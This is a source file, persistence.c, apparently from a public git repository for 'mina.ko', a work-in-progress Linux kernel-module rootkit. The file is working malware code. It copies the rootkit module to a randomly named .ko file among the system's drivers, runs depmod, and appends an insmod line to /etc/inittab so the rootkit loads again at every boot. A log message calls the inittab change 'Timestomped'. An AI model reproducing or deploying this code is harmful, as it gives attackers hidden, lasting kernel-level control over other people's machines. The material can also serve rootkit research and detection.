mina.ko~ (wip)LKM rootkit for 6.1+ kernels |
| git clone https://github.com/djnnvx/mina.ko.git |
| log | files | refs | archive | README | LICENSE |
persistence.c (5361B)
1 #include <linux/delay.h> 2 #include <linux/fs.h> 3 #include <linux/init.h> 4 #include <linux/kernel.h> 5 #include <linux/kmod.h> // For call_usermodehelper 6 #include <linux/kprobes.h> 7 #include <linux/kthread.h> 8 #include <linux/module.h> 9 #include <linux/random.h> // For get_random_bytes 10 #include <linux/slab.h> 11 #include <linux/string.h> // For strlcpy 12 #include <linux/time.h> // For current_time 13 #include <linux/utsname.h> // For utsname() 14 #include <linux/version.h> 15 16 #include "../includes/mina.h" 17 18 int add_inittab_entry(char const *entry) { 19 int ret = 0; 20 struct file *file; 21 loff_t pos = 0; 22 23 24 file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0); 25 if (IS_ERR(file)) { 26 printk(KERN_ERR "[mina] Error opening /etc/inittab: %ld\n", PTR_ERR(file)); 27 return PTR_ERR(file); 28 } 29 30 if (!file || !entry) { 31 printk(KERN_ERR "[mina] Invalid file or entry\n"); 32 ret = -EINVAL; 33 goto out; 34 } 35 36 ret = kernel_write(file, entry, strlen(entry), &pos); 37 if (ret < 0) { 38 printk(KERN_ERR "[mina] Error writing to /etc/inittab: %d\n", ret); 39 goto out; 40 } 41 42 file_update_time(file); 43 printk(KERN_INFO "[mina] Timestomped /etc/inittab.\n"); 44 45 out: 46 filp_close(file, NULL); 47 return ret; 48 } 49 50 static int copy_file(const char *src_path, const char *dst_path) { 51 struct file *src_file = NULL, *dst_file = NULL; 52 loff_t pos = 0; 53 int ret = 0; 54 char *buffer; 55 56 src_file = filp_open(src_path, O_RDONLY, 0); 57 if (IS_ERR(src_file)) { 58 printk(KERN_ERR "[mina_persist] Failed to open source file %s: %ld\n", src_path, PTR_ERR(src_file)); 59 return PTR_ERR(src_file); 60 } 61 62 dst_file = filp_open(dst_path, O_WRONLY | O_CREAT, 0644); 63 if (IS_ERR(dst_file)) { 64 printk(KERN_ERR "[mina_persist] Failed to open destination file %s: %ld\n", dst_path, PTR_ERR(dst_file)); 65 ret = PTR_ERR(dst_file); 66 goto out_src; 67 } 68 69 buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); 70 if (!buffer) { 71 ret = -ENOMEM; 72 goto out_dst; 73 } 74 75 while (true) { 76 long bytes_read = kernel_read(src_file, buffer, PAGE_SIZE, &pos); 77 if (bytes_read < 0) { 78 ret = bytes_read; 79 printk(KERN_ERR "[mina_persist] Error reading from source file: %ld\n", bytes_read); 80 break; 81 } 82 if (bytes_read == 0) { 83 break; 84 } 85 long bytes_written = kernel_write(dst_file, buffer, bytes_read, &pos); 86 if (bytes_written < 0) { 87 ret = bytes_written; 88 printk(KERN_ERR "[mina_persist] Error writing to destination file: %ld\n", bytes_written); 89 break; 90 } 91 if (bytes_written != bytes_read) { 92 ret = -EIO; 93 printk(KERN_ERR "[mina_persist] Partial write to destination file.\n"); 94 break; 95 } 96 } 97 98 kfree(buffer); 99 out_dst: 100 filp_close(dst_file, NULL); 101 out_src: 102 filp_close(src_file, NULL); 103 return ret; 104 } 105 106 int stage_and_persist_module(void) { 107 char *src_path = NULL; 108 char *dst_path = NULL; 109 char *rand_name_buf = NULL; // Renamed to avoid confusion with the previous rand_name array 110 char *inittab_entry = NULL; 111 char *argv_depmod[] = {"/sbin/depmod", NULL}; 112 char *envp[] = {"PATH=/sbin:/usr/bin", NULL}; 113 int ret = 0; 114 int i; 115 116 src_path = kmalloc(PATH_MAX, GFP_KERNEL); 117 if (!src_path) { 118 ret = -ENOMEM; 119 goto cleanup; 120 } 121 122 dst_path = kmalloc(PATH_MAX, GFP_KERNEL); 123 if (!dst_path) { 124 ret = -ENOMEM; 125 goto cleanup; 126 } 127 128 rand_name_buf = kmalloc(16, GFP_KERNEL); // For 8 chars + ".ko\0" 129 if (!rand_name_buf) { 130 ret = -ENOMEM; 131 goto cleanup; 132 } 133 134 inittab_entry = kmalloc(256, GFP_KERNEL); 135 if (!inittab_entry) { 136 ret = -ENOMEM; 137 goto cleanup; 138 } 139 140 // THIS_MODULE->name is the module name (e.g., mina_xxxx) 141 snprintf(src_path, PATH_MAX, "/lib/modules/%s/kernel/drivers/%s.ko", 142 utsname()->release, THIS_MODULE->name); 143 144 get_random_bytes(rand_name_buf, 8); 145 for (i = 0; i < 8; i++) { 146 rand_name_buf[i] = (rand_name_buf[i] % 26) + 'a'; 147 } 148 rand_name_buf[8] = '\0'; 149 snprintf(rand_name_buf + 8, 16 - 8, ".ko"); // Use snprintf for appending ".ko" 150 151 snprintf(dst_path, PATH_MAX, "/usr/lib/modules/%s/kernel/drivers/%s", 152 utsname()->release, rand_name_buf); // Using random name for module.ko 153 154 printk(KERN_INFO "[mina_persist] Staging module from %s to %s\n", src_path, dst_path); 155 156 ret = copy_file(src_path, dst_path); 157 if (ret < 0) { 158 printk(KERN_ERR "[mina_persist] Failed to copy module: %d\n", ret); 159 goto cleanup; 160 } 161 162 printk(KERN_INFO "[mina_persist] Running depmod.\n"); 163 ret = call_usermodehelper(argv_depmod[0], argv_depmod, envp, UMH_WAIT_PROC); 164 if (ret != 0) { 165 printk(KERN_ERR "[mina_persist] depmod failed with %d\n", ret); 166 } 167 168 snprintf(inittab_entry, 256, "::sysinit:/sbin/insmod %s\n", dst_path); 169 ret = add_inittab_entry(inittab_entry); 170 if (ret < 0) { 171 printk(KERN_ERR "[mina_persist] Failed to add inittab entry: %d\n", ret); 172 } else { 173 printk(KERN_INFO "[mina_persist] Persistence installed to %s\n", dst_path); 174 } 175 176 cleanup: 177 kfree(src_path); 178 kfree(dst_path); 179 kfree(rand_name_buf); 180 kfree(inittab_entry); 181 182 return ret; 183 }